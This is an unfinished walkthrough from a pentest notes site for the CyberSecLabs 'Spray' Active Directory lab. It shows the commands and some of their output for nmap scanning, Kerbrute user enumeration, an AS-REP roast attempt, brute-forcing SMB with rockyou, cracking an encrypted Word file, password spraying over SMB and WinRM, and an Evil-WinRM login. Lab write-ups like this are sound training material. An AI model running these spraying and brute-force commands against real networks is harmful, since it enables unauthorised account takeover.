Pentest Everything
GitHubSupport Pentest Everything
  • ⚔️Pentest Everything
  • 🚩Writeups
    • CyberSecLabs
      • Active Directory
        • Dictionary
        • Spray (WIP)
      • Linux
        • Shock
        • Pie
      • Windows
        • Brute
        • Deployable
        • Glass
        • Monitor
        • Sam
        • Secret
        • Stack
        • Unattended
        • Weak
    • HackTheBox
      • Active Directory
        • Active
        • Blackfield
        • Cascade
        • Forest
        • Intelligence
        • Mantis
        • Monteverde
        • Resolute
        • Return
        • Sauna
        • Search
      • Linux
        • Antique
        • Armageddon
        • Backdoor
        • Bashed
        • Cap
        • Cronos
        • Curling
        • Knife
        • Lame
        • Help
        • Horizontall
        • OpenAdmin
        • Poison
        • SolidState
        • Traceback
        • Trick
      • Windows
        • Access
        • Artic
        • Bastard
        • Bastion
        • Bounty
        • Devel
        • Heist
        • Jeeves
        • Jerry
        • Legacy
        • Love
        • Optimum
        • Remote
        • SecNotes
        • Servmon
        • Timelapse
        • Querier
    • PG Play | Vulnhub
      • Linux
        • BBSCute
        • BTRSys2.1
        • Born2root
        • BossPlayersCTF
        • Covfefe
        • Dawn
        • DC5
        • Funbox
        • FunboxEasy
        • FunBoxEasyEnum
        • HackerFest2019
        • Geisha
        • JISCTF
        • My-CMSMS
        • NoName
        • OnSystemShellDredd
        • Photographer
        • Potato
        • PyExp
        • Samurai
        • SunsetDecoy
        • SunsetMidnight
        • SunsetTwilight
        • Wpwn
    • PG Practice
      • Linux
        • ClamAV
        • Nibbles
        • Payday
        • Pelican
        • Peppo
        • Postfish
        • Pwned1
        • Snookums
        • Sirol
        • Sorcerer
        • Quackerjack
        • WebCal
        • Walla
        • ZenPhoto
        • Zino
      • Windows
        • Algernon
        • Compromised
        • Kevin
        • Helpdesk
        • Hutch
        • Jacko
        • Meathead
        • Metallus
        • Shenzi
        • Slort
        • UT99
    • TryHackMe
      • Linux
        • All in One
        • Archangel
        • Anonforce
        • Biblioteca
        • Cat Pictures
        • Chill Hack
        • CMesS
        • ColddBox
        • ConvertMyVideo
        • CyberHeroes
        • Cyborg
        • Dav
        • Fusion Corp
        • GamingServer
        • Gallery
        • Internal
        • Jacobtheboss
        • Kiba
        • LazyAdmin
        • Library
        • Madness
        • Marketplace
        • Mustacchio
        • NerdHerd
        • Oh My WebServer
        • Olympus
        • Plotted-TMS
        • Skynet
        • Startup
        • Surfer
        • Team
        • Tech_Supp0rt: 1
        • Tomghost
        • VulnNet
        • Undiscovered
        • Year of the Owl
      • Windows
        • Blueprint
        • Enterprise
        • Flatline
        • Quotient
        • RazorBlack
        • Relevant
        • USTOUN
        • VulnNet: Roasted
    • To Do
      • AllSignsPoint2Pwnage (WIP)
      • Hunit (WIP)
      • Escape (WIP)
      • Banzai (WIP)
      • Billyboss (WIP)
      • Fish
      • Ra
      • Roquefort (WIP)
  • 💾GitHub
  • 🔵PsMapExec
    • Change Log
    • BloodHound
    • Using Credentials
    • Cross Domain Usage
    • Methods
      • Command Execution
      • DCSync
      • GenRelayList / SMB Signing
      • Inject
      • IPMI
      • Kerberoast
      • MSSQL
      • Session Hunter
      • Spray
    • Modules
      • Amnesiac
      • ConsoleHistory
      • Files
      • FileZilla
      • KerbDump
      • eKeys
      • LDAP / LDAPS
      • LogonPasswords
      • LSA
      • MDF
      • NTDS
      • Notepad
      • NTLM
      • SAM
      • SCCM
      • SessionExec
      • SessionRelay
      • SSH
      • TGTDeleg
      • VNC
      • Wi-Fi
      • WinSCP
    • Target Acquisition
  • Everything
    • Buffer Overflow Guide
    • Everything Active Directory and Windows
      • Active Directory Enumeration
      • ADCS
        • Enumeration - Certificate Authority
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC6
        • ESC7
        • ESC8
        • ESC9 - WIP
        • ESC11
      • Access Token Manipultion
        • Token Impersonation
        • Create Process with Token
        • 🔨Make and Impersonate Token
        • Parent PID Spoofing
        • 🔨SID-History Injection
      • Adversary-in-the-Middle
        • 🔨LDAP Relay
        • 🔨LLMNR
        • 🔨RDP MiTM
        • 🔨SMB Relay
      • Credential Access
        • Brute Force
          • Password Spraying
        • Credential Dumping
          • LSASS Memory
          • Security Account Manager (SAM)
          • NTDS
          • LSA Secrets
          • Cached Domain Credentials
          • DCSync
            • 🔨DCSync Attack
        • Credentials from Password Stores
          • Credentials from Web Browsers
          • Windows Credential Manager
        • Unsecured Credentials
          • Credentials In Files
          • Credentials in Registry
          • Group Policy Preferences
            • 🔨GPP Passwords
        • 🔨Modify Authentication Process
          • Domain Controller Authentication: Skeleton Key
          • Reversible Encryption
        • Steal or Forge Kerberos Tickets
          • AS-REP Roasting
          • Golden Ticket
          • Kerberoasting
          • Silver Ticket
          • S4U2Self
          • Ticket Aquisition
          • Constrained Delegation
          • Unconstrained Delegation
      • Collection
        • Clipboard Data
        • Audio Capture
      • Defense Evasion
        • Disable and Bypass Defender
        • Impair Defenses
          • Disable Windows Event Logging
          • Impair Command History Logging
          • Disable or Modify System Firewall
        • Indicator Removal
          • Clear Windows Event Logs
          • Clear Command History
          • File Deletion
          • Network Share Connection Removal
          • Timestomp
      • Input Capture
        • Keylogging
      • Lateral Movement
        • PowerShell Remoting
        • Alternate Authentication Material
          • Pass The Hash
          • Pass the Ticket
          • Pass the Password
      • File Execution Methods
      • File Transfer Techniques
      • Forced Coercion
        • URL File Attack
      • LAPS
      • Network Sniffing
      • Persistence
        • AdminSDHolder
        • BITS Jobs
        • Create Account
          • Local Account
          • Domain Account
          • Cloud Account
        • Create or Modify System Process
          • Windows Service
        • Custom SSP
        • DSRM
        • 🔨Persistence Notes
        • Skeleton Key Attack
      • Privilege Escalation
        • Privilege Escalation Checklist
        • DnsAdmin
        • Registry
          • Always Install Elevated
          • AutoRuns
        • Service Exploits
          • Insecure Service Permissions
      • SCCM / MECM
        • Recon
        • CRED-1 - PXE Abuse
        • CRED-2 - Policy Request Credentials
        • CRED-3 - WMI Local Secrets
        • CRED-4 - CIM Repository
        • CRED-5 - MSSQL Database
        • ELEVATE-2 - Client Push
        • TAKEOVER-2
      • Timeroasting
      • Tools
        • BloodHound
    • Everything Linux
      • File Transfer Techniques
      • Linux Privilege Escalation Techniques
      • Privilege Escalation Checklist
      • Shell Upgrades
    • Everything OSINT
      • Discovering Email Addresses
      • Dork Tools
      • Image OSINT
      • Metadata OSINT
      • Password OSINT
      • Phone Number OSINT
      • Search Engine Operators
      • Social Media OSINT Tools
      • OSINT CTFs
      • OSINT VM
      • Username OSINT
    • Everything Web
      • Command Injection
      • Enumeration
      • File Upload
      • Sub Domain Enumeration
      • XSS
    • Host Discovery
    • Pivoting and Portforwarding
    • Ports
      • Nmap Commands for port discovery
      • Port 21 | FTP
      • Port 25 | SMTP
      • Port 53 | DNS
      • Port 88 | Kerberos
      • Ports 111 | 32771 | rpcbind
      • Port 123 | NTP
      • Ports 137 | 138 | 139 | NetBIOS
      • Ports 139 | 445 | SMB
      • Ports 161 | 162 | SNMP
      • Port 389 | LDAP
      • Ports 1099 | Java RMI
      • Ports 2049 | NFS
      • Port 3389 | RDP
      • Ports 8080 | 8180 | Apache Tomcat
    • PowerShell
      • Constrained Language Mode
      • Download and Execution Methods
      • Resources
      • Restricted Mode
  • Resources
    • Cheat Sheets
      • Default Passwords
      • Kerberoast
      • Mimikatz
      • Powerup
    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • OSINT Tools
    • Weakpass
  • Password Filter DLL
  • Dork Cheatsheet
Powered by GitBook
On this page
  • Nmap
  • SMB
  • Kerberos

Was this helpful?

  1. Writeups
  2. CyberSecLabs
  3. Active Directory

Spray (WIP)

https://www.cyberseclabs.co.uk/labs/info/Spray/

Last updated 2 years ago

Was this helpful?

Nmap

sudo nmap 172.31.3.9 -sS -p- -sC

Not shown: 65513 filtered ports
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
| rdp-ntlm-info: 
|   Target_Name: SPRAY
|   NetBIOS_Domain_Name: SPRAY
|   NetBIOS_Computer_Name: SPRAY-DC
|   DNS_Domain_Name: spray.csl
|   DNS_Computer_Name: Spray-DC.spray.csl
|   DNS_Tree_Name: spray.csl
|   Product_Version: 10.0.17763
|_  System_Time: 2020-12-19T20:51:44+00:00
| ssl-cert: Subject: commonName=Spray-DC.spray.csl
| Not valid before: 2020-09-09T15:27:45
|_Not valid after:  2021-03-11T15:27:45
|_ssl-date: 2020-12-19T20:51:44+00:00; -3s from scanner time.                                                                                                                                                                              
5985/tcp  open  wsman                                                                                                                                                                                                                      
9389/tcp  open  adws                                                                                                                                                                                                                       
49667/tcp open  unknown                                                                                                                                                                                                                    
49669/tcp open  unknown                                                                                                                                                                                                                    
49670/tcp open  unknown                                                                                                                                                                                                                    
49675/tcp open  unknown                                                                                                                                                                                                                    
49676/tcp open  unknown                                                                                                                                                                                                                    
49679/tcp open  unknown                                                                                                                                                                                                                    
49696/tcp open  unknown                                                                                                                                                                                                                    
49703/tcp open  unknown                                                                                                                                                                                                                    
                                                                                                                                                                                                                                           
Host script results:                                                                                                                                                                                                                       
|_clock-skew: mean: -3s, deviation: 0s, median: -3s                                                                                                                                                                                        
|_nbstat: NetBIOS name: SPRAY-DC, NetBIOS user: <unknown>, NetBIOS MAC: 02:5c:13:73:3d:18 (unknown)                                                                                                                                        
| smb2-security-mode:                                                                                                                                                                                                                      
|   2.02:                                                                                                                                                                                                                                  
|_    Message signing enabled and required                                                                                                                                                                                                 
| smb2-time:                                                                                                                                                                                                                               
|   date: 2020-12-19T20:51:44
|_  start_date: N/A

SMB

A standard quick check with null authentication using smbclient and crackmapexec produces no viable vectors to follow.

Kerberos

As Kerberos is open on port 88 we can try to enumerate some usernames with Kerbrute. We have a domain name from Nmap when port 3389 was enumerated.

kerbrute userenum /usr/share/seclists/Usernames/Names/names.txt -d spray.csl --dc 172.31.3.9

This only returns one result which was for the user 'calvin'.

I decided at this point to try a bigger wordlist as I normally would not expect to pull one name from an Active Directory server.

kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -d spray.csl --dc 172.31.3.9

Better results this time. Lets put them in a text file and Kerberoast them using Impacket's GetNPUsers.py script.

python2 GetNPUsers.py spray.csl/ -request -usersfile /home/kali/spray/users.txt  -dc-ip 172.31.3.9

None of the users are Kerberoastable. Looking at our nmap results we can try password spraying against the list of users against SMB and WinRM.

We can use crackmapexec to kick off multiple instances of bruteforcing against our known users account. I will start with SMB to see if we get a hit.

crackmapexec smb 172.31.3.9 -u freedy -p /usr/share/wordlists/rockyou.txt
crackmapexec smb 172.31.3.9 -u calvin -p /usr/share/wordlists/rockyou.txt
crackmapexec smb 172.31.3.9 -u johana -p /usr/share/wordlists/rockyou.txt

After a short while we get a hit from johana:johana

We can check what access we get with smbclient.

smbclient -U johana -L \\\\172.31.3.9
smbclient -U johana \\\\172.31.3.9\\spray

I was unable to open the document due to encryption. We can confirm this with the file command.

kali@kali:~$ file Important\ Note.docx 

Important Note.docx: CDFV2 Encrypted

Kali comes installed with a Python script called office2john.py. We can use this to convert the document to a hash in which we can attempt to crack the encryption password.

With the hash stored in a file we can run this against John and attempt to crack it with the rockyou.txt wordlist.

sudo john --wordlist=/usr/share/wordlists/rockyou.txt /home/kali/spray/hash

After cracking we get the password '181818'. I was then able to open the document with LibreOffice on Kali.

We can try spraying this password with our user list against SMB and WinRM with crackmapexec. Before we try crackmapexec lets check if Kylesir gets a hit on Kerbrute.

kerbrute userenum <usersfile> -d spray.csl --dc 172.31.3.9

We can check our new users against Impackets GetNPusers.py.

python2 GetNPUsers.py spray.csl/ -request -usersfile <userfile>  -dc-ip 172.31.3.9

Nothing here unfortunately. Lets try crackmapexec.

crackmapexec smb 172.31.3.9 -u <usersfile>  -p Spray.csl1337 --continue-on-success
crackmapexec winrm 172.31.3.9 -u <usersfile>  -p Spray.csl1337 --continue-on-success

Looks like we are not getting any hits with our new password and our new user. Looking at our initial Nmap results we still have RPC to try.

I ended up trying our known working credentials of johana:johana and was able to access RPC.

rpcclient -U johana 172.31.3.9

From here I was able to the enumdomusers command and we are able to see an extra users we have not come across yet.

Lets try the new user hackzzdogs against SMB and WinRM.

crackmapexec smb 172.31.3.9 -u hackzzdogs -p Spray.csl1337
crackmapexec winrm 172.31.3.9 -u hackzzdogs -p Spray.csl1337

Great, we have a valid hit. Lets use these credentials with Evil-WinRM.

evil-winrm -u hackzzdogs -p Spray.csl1337 -i 172.31.3.9
🚩